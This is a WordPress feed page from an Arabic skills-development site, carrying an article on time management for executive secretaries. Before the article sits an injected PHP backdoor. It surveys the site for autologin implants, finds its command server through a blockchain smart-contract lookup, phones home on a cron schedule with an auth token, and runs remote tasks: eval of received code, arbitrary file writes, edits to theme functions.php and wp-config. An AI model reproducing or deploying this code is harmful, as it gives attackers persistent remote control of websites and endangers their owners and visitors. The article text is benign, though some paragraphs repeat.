// 1h_1p if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php', 'ctrl'=>'// 1h_1p', 'vis'=>'// st_3y', 'vis_func'=>'wp_dg1657', 'vis_paths'=>array('/home4/camecenter/cameknowledge.camecenter.com/wp-content/plugins/wp-helper-bf0fce/wp-helper-bf0fce.php'), 'opt'=>'_wp_7hsqajid', ); $keys=array(); $keys['id']='fj1'; $keys['ver']='1q'; $keys['caps']='tle'; $keys['tasks']='l7z'; $keys['interval']='bbw'; $keys['ack_id']='cxz'; $keys['ok']='9w'; $keys['detail']='voi'; $keys['inv']='5jq'; $keys['result']='f34'; $hdr='X-B1W-Auth';$tok='XedrlORYVlRrR6u98I3prggq7ZR1j5tnIRsfGTzBTyM';$id='5394ed6b3f3ab399';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); سكرتارية تنفيذية Archives - CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات موسوعة مركز كيم لتنمية المهارات و القدرات Sun, 30 Jul 2023 15:31:04 +0000 ar hourly 1 https://wordpress.org/?v=6.3.12 سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الرابعة https://cameknowledge.camecenter.com/articles/executive_secretary-4/ https://cameknowledge.camecenter.com/articles/executive_secretary-4/#respond Tue, 04 Apr 2023 14:05:08 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10367 سلسلة مقالات – السكرتارية التنفيذية إعداد/ مركز كيم  المقالة الرابعة الإدارة الفعالة للوقت    أهمية الوقت إذا استطعت أن تدبر وقتك بكفاءة فإن ذلك ينعكس على حياتك كلها الوقت من ذهب هذا خطأ فالأصح هو الوقت هو الحياة لا يمكن تجميعه لا يمكن تجزئته لا يمكن شراؤه لا يمكن استئجاره لا يمكن إطالته أقوال فى […]

The post سلسلة مقالات – السكرتارية التنفيذية – إعداد/ مركز كيم – المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – السكرتارية التنفيذية

إعداد/ مركز كيم 

المقالة الرابعة

الإدارة الفعالة للوقت

 

 أهمية الوقت

إذا استطعت أن تدبر وقتك بكفاءة فإن ذلك ينعكس على حياتك كلها

الوقت من ذهب

هذا خطأ فالأصح هو

الوقت هو الحياة

لا يمكن تجميعه

لا يمكن تجزئته

لا يمكن شراؤه

لا يمكن استئجاره

لا يمكن إطالته


أقوال فى الوقت :

  • الوقت مورد فريد لايمكن ادخاره بل استخدامه بحكمة. جنيتر ميترا
  • الوقت الماضى ذهب الى غير رجعة ولايعوض ويحدد بأنه أغلى مورد لكل شخص ولكنه لايمكن استرجاعه. برابهاكراميس
  • يجب أن يحظى الوقت بنفس الرقابة الشديدة التى نوليها للممتلكات الأخرى. أ.ديل تيمب
  • الوقت هو أندر الموارد فإذا لم تتم ادارته لن تتم ادارة اى شيء آخر. بيتر دراكر
  • الوقت دائرى يبدأ ويتغير ويتوقف، فعدم القدرة على الابتداء يسمى ترددا، وعدم القدرة على تغيير الأحداث مع الوقت يسمى جموداً وعدم الرغبة فى ايقاف محادثة ما فى الوقت الصحيح يعتبر إكراهاً. تشارلز شيلنغ

تقديرنا للوقت :

إذا بدأنا الآن بطرح السؤال التالى :

هل نحن فعلا نقدر الوقت؟

هل نتصرف مع الوقت كما نتصرف مع النقود؟

هل يتساوى مدى حرصنا على الوقت مع حرصنا على النقود؟

حقيقة…. أن هناك مقاييس للوقت (السنين، الاشهر، الساعات….الخ) ولكن نظرا لأننا فى الغالب لانقدر قيمة الوقت فان هذه المقاييس اصبحت لاتمثل اهمية الوقت.

دعنا نقيس الآن الوقت بالنقود …………….حاول قياس راتبك فى الدقيقة الواحدة لنتبين أهمية الوقت.

ملاحظة :

عند قياس راتبك فى الدقيقة لاتعتمد فقط على راتبك الأساسى، اضف اليه بدل السكن وبدل المواصلات…الخ

 

وحتى تتضح أهمية الوقت…. عليك أن تضع فى ذهنك الحقائق التالية:

  1. لايمتلك أى فرد أكثر من 24 ساعة فى اليوم 168 ساعة فى الاسبوع 8760 ساعة فى السنة.
  2. يتميز الوقت بأنه لاينتظرك حتى تستخدمه، فإما أن تدعه يمر أو تستخدم كل دقيقة منه.
  3. الوقت شئ محدد ، يتميز من حيث المرونة بالجمود لايمكن تطويله بالشد (ليس استك مطاط).
  4. كلنا متساوون من حيث كمية الوقت التى تتوافر لأى منا ولكننا نختلف فى كيفية استخدامه.
  5. لايمكن تخزين الوقت لاستخدامه فى المستقبل، فلا يمكن ادخاره.
  6. لايمكن تعويض الوقت فاليوم الذى يضيع لايمكن تعويضه.
  7. ليس هناك (عينات مجانية) للوقت كل دقيق لها تكلفة حقيقية.
  8. الوقت له تكلفته، يمكن حسابها على اساس أجر الدقيقة الواحدة على مدى السنة.
  9. أن من يسئ استخدام وقته لايهدر ويضيع وقته فقط، وانما يهدر وقت الاخرين ايضا.
  10. اثبتت الابحاث الادارية، ان المدير الفعال يتميز بأنه يدير وقته بنجاح.

 

معنى ذلك ……. أن هناك موقفا يجب أن نسيطر عليه من خلال ادارتنا للوقت، ان ادارة الوقت لاتعنى فى الواقع اكثر من محاولة ترويض الوقت وفرض سيطرتنا عليه بدلا من أن يفرض هو سيطرته علينا.

الوقت كالسيف ….. أن لم تقطعه …. قطعك

مضيعات الوقت وسبل معالجتها

يعتبر الوقت من الموارد الهامة التى يساء استخدامها فى الشرق عموما، فهو مورد غير قابل للتخزين، هذا بجانب أن تقييم الأفراد يتم فى ضوء خطة محكومة بوقت محدد، فبقدر نجاحك فى ادارة وقتك تنجح فى أعمالك.

وضياع الوقت ممكن لاسباب كثيرة ، ونقدم لك بعض المجالات التى يضيع وقتك من خلالها :

  • الزوار بدون موعد سابق.
  1. المكالمات التليفونية.
  2. عدم وجود تخطيط.
  3. عدم وجود أولويات.
  4. لا للتفويض.
  5. انتشار الروتين.
  6. كثرة الاجتماعات بدون مبرر.
  7. حدوث أزمات غير مخطط للتعامل معها.
  8. عدم وضوح الأهداف.
  9. كثرة المستندات والأوراق وعدم وجود أرشيف فعال.
  10. قصور نظام المعلومات.
  11. عدم القدرة على قول ” لا “.
  12. عدم وضوح الأوامر.
  13. قصور نظام الاتصال.
  14. التردد والتسيب فى اتخاذ القرارات والتأجيل المصاحب لها.
  15. ضغوط العمل والتعب والارهاق.

موفرات الوقت ( مبادئ إدارة الوقت)

 

الحاجة إلى مفاهيم إدارة الوقت:

 إن أي عملية إدارية تتكون من مهام: التخطيط والتنظيم والتنفيذ والرقابة، وهذه الأخيرة تحتوي على مهمة إدارة الوقت.

 هناك عشرة مبادئ لإدارة الوقت تم تطويرها نتيجة للمراجعة الشاملة للكتابات والمقالات في مجال إدارة الوقت وإذا ما استعرضنا عملية إدارة الوقت نجد أن هذه المبادئ لا تعتبر شاملة وإنما تعتبر مبدئية وتخضع لاختبار وصقل اكثر.

 

أولاً: المبادئ المتعلقة بالتخطيط:

التخطيط هو اختيار من بين البدائل المتاحة. وتخطيط استخدام وقت الفرد يتضمن أن يعرف كيف يستخدم حالياً، ثم يقرر كيف يجب استخدامه، ويحدد استخدامه المناسب بالطريقة التي يرغبها، لكن كيف يستخدم الوقت حاليا؟

 إن معظم الناس لا يعرفون ما الذي يشغل وقتهم، واقترح بعض المفكرين طريقتين لمعرفة أين يذهب وقتهم: احتفظ بمذكرة مواعيد أو اطلب من شخص آخر أن يلاحظ الوقت ويٌدون نشاطات العمل.

 

1- مبدأ تحليل الوقت:

  تحليل الوقت من متطلبات إدارة الوقت. فمن الضروري، كأساس لهذا التحليل الاحتفاظ بجدول يومي للنشاطات لتسجيلها عبر فترات من 15 إلى 30 دقيقة ولمدة أسبوعين متتاليين.

 وإذا لم يفهم المدير كيف يصرف وقته عادة فلن يتمكن من الاختيار من بين الطرق البديلة لاستخدامه. لذا ينبغي عليه أولاً أن يحدد كيف يُصرِّف وقته حالياً وذلك باستخدام الإجراء الشائع والمقبول وهو تحليل استخدام الوقت بواسطة البيانات التي تجمع عبر فترة من الوقت.

 وتحليل الوقت يتخذ عادة شكل جدول يَكتب فيه الفرد نشاطاته اليومية وتسجل مع أوقاتها. والتسجيل بشكل جيد يجعل المدير قادراً على معرفة إن كان هناك أي اتجاه أو نمط في نشاطاته اليومية، ويمكن القيام بعملية التحليل. وعند القيام بالتحليل يجد المدير أن وقتاً كبيراً قد ضاع منه أو لم يتم حسابه أصلاً بسبب التأجيل أو المقاطعات أو عدم وجود خطة أو أي سبب آخر.

 

2- مبدأ التخطيط اليومي:

من الضروري القيام بالتخطيط اليومي بعد انتهاء عمل اليوم أو قبل ابتداء العمل في اليوم التالي، بحيث يتلاءم مع الأهداف قصيرة الأجل ومع المهمات، وذلك من أجل الاستفادة الفعَّالة من الوقت الشخصي.

إن التخطيط غير الملائم هو السبب الأساسي للإدارة السيئة للوقت. فالتخطيط الفعال سيقضي على مشكلة تضييع الوقت، والتوصيات لإعداد الخطط تأخذ أشكالاً مختلفة. فمعظم الكتاب يتفقون على أن الخطط ينبغي أن تعد يوميا، وأن تتألف من قائمة من الأعمال وجدول زمني لإنجازها، ويبدو أنه عند تحديد الخطة اليومية يجب ترتيب الأولويات للقيام بالعمل المقرر.

 

3- مبدأ تخصيص الوقت حسب الأولوية:

  يجب تخصيص الوقت المتوفر في يوم العمل لإنجاز تلك الأعمال التي تعتبر ذات أولوية عالية.

  ونقوم بذلك بعد أن نكتب الأعمال المطلوب القيام بها في الخطة اليومية، وذلك حسب أولوياتها وتخصيص الوقت المتاح لإنجازها.

 إن طريقة تحديد الأولويات قد دُرست بشمول بواسطة المفكرين الذين اقترحوا تصنيف مهمات العمل بطرق تساعد في الوصول إلى تحديد الأولويات. وهى تعتمد على ظاهرة أن الأشياء التي نعتبرها ملحة ليست دائما مهمة, والأشياء المهمة ليست دائما ملحة.

حيث تصنف الأعمال حسب إلحاحها وضرورتها وذلك باستخدام مقياس يتدرج من “ملح جدا” إلي “غير ملح” ومن ثم يعاد تصنيفها حسب أهميتها على مقياس يتدرج من “مهم جدا” إلى “مهم”. ايضاً يمكن تحديد الأعمال التي يمكن تفويضها للغير وتلك التي لا يمكن تفويضها. ومن الواضح أن اكثر الأعمال أولوية هي تلك التي لا يمكن تفويضها وملحة فى الوقت نفسه.

4- مبدأ المرونة:

يجب أن تكون المرونة من الأمور الرئيسية التي تؤخذ في الاعتبار عند اختيار الخطط فيما يتعلق باستخدام الوقت الشخصي، أي انه يجب ألا يتم الإفراط أو التقليل من الوقت المطلوب.

وعند إعداد الخطة اليومية ينبغي أن يدرك الفرد حدود مقدار الوقت في يوم العمل الذي يمكن أن تجدول فيه المهام. فالمدير الذي يخطط لملء كل دقيقة من يوم العمل سيجد أن عدم المرونة في الجدول لا يمكن أن يجعله قادرا على اتباعه.

إن أي شخص في موقع إداري مهم يقوم بجدولة اكثر من نصف يومه يكون مغاليا. فعلى الأقل يمكن أن نتوقع أن نصف وقت المدير سيقضيه في معالجة الأزمات والطوارئ وضغوط العمل اليومي في منظمة كبيرة.

ينبغي أن ندرك أن 50% من يوم العمل يمكن جدولته بأعمال مختارة للإنجاز في خلال نصف اليوم، وفي نفس الوقت المخصص لها. فعلى سبيل المثال: إذا كانت هناك مهام مجدولة في خلال فترة ركود أو هدوء من اليوم وتأخذ وقتا اقل من نصف اليوم فان الذي يحدث هو أننا نمدد العمل ونتراخى حتى نملأ نصف اليوم المتاح لنا، هذا هو ما يؤدي بنا إلى اكتساب عادات سيئة في إدارة الوقت.

 ينبغي الحفاظ على نفس الانضباط الحازم بالنسبة لاستخدام الوقت عندما توجد فترات ركود أو هدوء في سير العمل. هذه الإجراءات الوقائية ينبغي على المخطط تنفيذها حتى يمنع التجاوز في تمديد العمل والإبطاء فيه لملء الوقت المتاح.

 

ثانيا: المبادئ المتعلقة بالتنظيم:

تهتم وظيفة التنظيم بكيفية تنظيم المدير لوقته وبيئته حتى يصبح اكثر فعالية في استخدام وقته. وأول مبدأ للتنظيم هو:

1- مبدأ التفويض:

 إن تفويض كل الأعمال الممكنة بما يتناسب مع حدود عمل المدير أمر ضروري لتوفير الوقت المطلوب للقيام بالمهام الإدارية.

تبدأ عملية تحديد أولويات الأعمال وترتيبها في الخطة اليومية بان يتم أولاً تحديد أي من هذه الأعمال يمكن تفويضها. كل الأعمال التي يمكن تفويضها ينبغي أن تعطي المدير وقتاً حراً يستطيع في خلاله أن يقوم بأعمال أخرى لا يمكن لغيره القيام بها. ولكي يتم تحديد الأعمال التي يمكن تفويضها ينبغي على المدير أن يتبع مبادئ التفويض المعروفة والراسخة.

 

2- مبدأ تقسيم النشاط ( العمل):

كل الأعمال المتشابهة بطبيعتها والتي تتطلب بيئة وموارد مماثلة لإنجازها ينبغي أن تجمع معا في أقسام من خطة العمل اليومية.

 

3- مبدأ التحكم في المعوقات:

من الضروري جداً لإدارة الوقت أن يكون هناك نوع من التحكم في النشاطات وترتيبها بحيث تقل عدد ومدة المقاطعات غير الضرورية.

الفوائد من تنفيذ هذين المبدأين واضحة، إذ يجب التقليل من المقاطعات وذلك بتقسيم النشاطات وتجميعها حسب التشابه الموجود بينها، فإذا تم تقسيم النشاطات بحيث يلتقي المرؤوسون مع مديرهم في وقت معين، والاتصالات الهاتفية يرد عليها في وقت محدد، وتم تحديد موعد للاجتماعات وفي وقت معين، كما حدد وقت “الهدوء” للتفكير الخاص بالمدير يوميا، عندها تتحسن فعالية استخدام الوقت كلما خفت المقاطعات، وسيقل أيضاً عدد مرات الابتداء والتوقف (المعوقات أو المعترضات) في إنجاز الأعمال، فالمحافظة على عدد مرات الابتداء والتوقف إلى حد بسيط سوف يؤدي إلى تحسين فعالية إنجاز المهام الذي سيؤدي إلى توفير الوقت.

4- مبدأ الإقلال من الأعمال الروتينية:

إن الأعمال اليومية ذات الطبيعة الروتينية والتي تشكل قيمة بسيطة لتحقيق الأهداف العامة ينبغي الإقلال منها كثيراً.

إن تنظيم العمل والعاملين بحيث نقلل من كمية العمل الروتيني سيؤدي إلى استخدام اكثر فعالية للوقت. لن يستطيع أي مدير أن يخلص نفسه من الأعمال الروتينية تماما، لكن ينبغي الإقلال منها. تعرف الأعمال الروتينية بأنها إجراءات صغيرة كثيرة الحدوث في المنظمة، ويقدر الوقت الذي يمضيه المديرون في الأعمال الروتينية بين 30% و 65% من الوقت المتاح أمامهم.

 

ثالثا: المبادئ المتعلقة بالرقابة:

بعد تخطيط وتنظيم العمل بما يتفق والمبادئ ذات العلاقة يبقى فقط تنفيذ الخطة والمتابعة اليومية.

إن فكرة الرقابة من خلال الخطط والجداول أساس للإدارة السليمة ولزيادة الفاعلية…. لكي يحقق الهدف كما خطط له…. يقارن الإنفاق الحقيقي للمورد بالخطة وبالجدول. يسمح له التباين بان يصنع قرارات تتعلق بالخطة وبالجدول وبالأداء، ويسمح له بتعديل هذه الأشياء الثلاثة لتتلاءم مع الهدف ومع الظروف التي يواجهها. يتطلب الأمر استخدام المبادئ التالية:

1- مبدأ تنفيذ الخطة اليومية والمتابعة اليومية ضروريان لإدارة الوقت.

إن تنفيذ الخطة أمر ضروري لوظيفة الرقابة، إذ لا يمكن إنجاز هذه الوظيفة إلا إذا كانت هناك خطة أو معيار تتم مقارنة النتائج المتوقعة به. فمتابعة تعديل الخطة والجدول والأداء بما يتلاءم مع الأهداف والظروف المحيطة هي الرقابة بذاتها.

2- مبدأ إعادة التحليل:

  يجب إعادة تحليل الوقت مرة كل ستة اشهر على الأقل. فقد وجد أن صعوبات تنفيذ الخطة اليومية تجعل معظم المديرين يعودون لممارساتهم القديمة. ولتفادي هذا ينبغي تكرار تحليل استخدام الوقت من وقت لآخر.

ينبغي أن ندرك أن 50% من يوم العمل يمكن جدولته بأعمال مختارة للإنجاز في خلال نصف اليوم ، وفي نفس الوقت المخصص لها . فعلى سبيل المثال : إذا كانت هناك مهام مجدولة في خلال فترة ركود أو هدوء من اليوم وتأخذ وقتا أقل من نصف اليوم فان الذي يحدث هو إننا نمدد العمل

ونتراخى حتى نملا نصف اليوم المتاح لنا ، هذا هو ما يؤدي بنا إلى اكتساب عادات سيئة في إدارة الوقت . ينبغي الحفاظ على نفس الانضباط الحازم بالنسبة لاستخدام الوقت عندما توجد فترات ركود أو هدوء في سير العمل هذه الإجراءات الوقائية ينبغي على المخطط تنفيذها حتى يمنع التجاوز في تمديد العمل والإبطاء فيه لملء الوقت المتاح .

 

السرعــــــــــة

عاجل غير عاجل
هام ( 1 )

 أزمات

مشكلات ملحة

مشروعات ذات

تواريخ محددة

 ( 2 )

علاقات

تخطيط

أنماط طاقة إنتاجية

ترفيه
غير هام ( 3 )

بريد

تقارير

مقابلات

اجتماعات

 ( 4 )

أمور تافهة

بريد

التسلية

تمضية الوقت

أدوات وأساليب إدارة الوقت بفعالية

  تعتبر قائمة “الأعمال المطلوب انجازها” لكل يوم

 وأسبوع مساعدًا قيمًا في إدارة وقتك، هذه القائمة

 تنظم تفكيرك وتخطيطك في نموذج واحد في أقل وقت ممكن وبأقصى درجة من الكفاءة. مثل هذه القائمة مفيدة بشكل خاص إن كانت تتوافق مع حفظ السجلات الذي تقوم به شركتك، وبعد وقت قصير ستجد نفسك تتعامل مع حجم أكبر من العمل دون أن يزيد ذلك من ضغطك، إذ أنك بكل بساطة ستصبح أكثر كفاءة.

  يقول قانون ” باركينسون” إن العمل يتمدد ليملأ الوقت المخصص له، قائمة الأعمال المطلوب إنجازها يجب أن تحدد وقتًا معينًا “إن أمكن ذلك” لكل نشاط.

  يجب تسجيل نشاطاتك حسب أولويات كل منها، ابدأ بالنشاطات ذات الأولوية العالية أولاً,     وعند تسجيل هذه النشاطات من المفيد أن تحدد النتائج والعملية أيضًا، ويمكن أن تسجل مثلاً ((بين الساعة 12.00 والساعة الواحدة أذهب إلى حفل الغداء الذي يقام لممثلي الشركات الصناعية وأحصل على ثلاثة كروت عمل شخصية على الأقل من زبائن متوقعين)). عندما تذكر متى، وأين، وماذا ستفعل، فإن ذلك سيزيد من فرصك في القيام بالنشاطات بنجاح.

 ومع مرور اليوم أشطب النشاطات التي يتم إنجازها وأكتب أي ملاحظات تراها مناسبة، وعند المساء أعد قائمة جديدة لليوم التالي مضمنًا فيها أي نشاطات لم تكملها من قبل.

 

 

التأجيل أو المماطلة يعتبر داء يزحف إليك ببطء ويفرغ طاقتك، فإذا كانت مقاومتك له منخفضة يصعب عليك التخلص منه، التأجيل من أقرباء ما يعرف بالعجز وابن عم ضعف الكفاءة، ولهذا فإن زواجهما بعضهما من بعض يعتبر محرمًا.

المقترحات التالية سوف تساعدك على التغلب على هذا الداء:

قليل من الضغط يحدث دافعًا لديك بينما زيادة الضغط تضغطك لذا حدد مواعيد اللقاءات، والإلتزامات ، وأكتب أهدافك، وصمم على النجاح.

تواجهنا يوميًا مهام صعبة ومهام سهلة، إبدأ بالصعبة أولاً حتى تستطيع فيما بعد النظر في المهام السهلة. إذا ابتدأت بالمهام السهلة أولاً فلربما يمدد الوقت الذي تحتاج إليه لإنهائها حتى تتجنب المهام الصعبة التي تنتظرك.

تواجهنا يوميًا مهام صعبة ومهام سهلة، إبدأ بالصعبة أولاً حتى تستطيع فيما بعد النظر في المهام السهلة. إذا ابتدأت بالمهام السهلة أولاً فلربما يمدد الوقت الذي تحتاج إليه لإنهائها حتى تتجنب المهام الصعبة التي تنتظرك.

هذه مشكلة تصادف كثيرًا من الناس عندما يحاولون كتابة مقترحات عمل؛ إذا يجلسون مسكين بورقة وقلم ينتظرون انبثاق الكلمة المناسبة، إن ما يفعلونه حقًا هو تجنب عملية الكتابة. كن أكثر غزارة في الكتابة، وبالرجوع دائمًا إلى ما كتبته يمكن صقل مالا يعجبك منه. والأفضل من ذلك أن تفوض لشخص آخر عملية الصقل هذه.

حاول أن تجيب على كل المراسلات فورًا، فإذا تسلمت مجلة علمية تمعن فيها وحدد المقالات التي ترغب في قراءتها، حاول تصنيف مواد القراءة إلى ثلاث مجموعات: المقالات التي يجب قراءتها قريبًا، وتلك التي يجب قراءتها، والمقالات اللطيفة لمجرد الإطلاع.

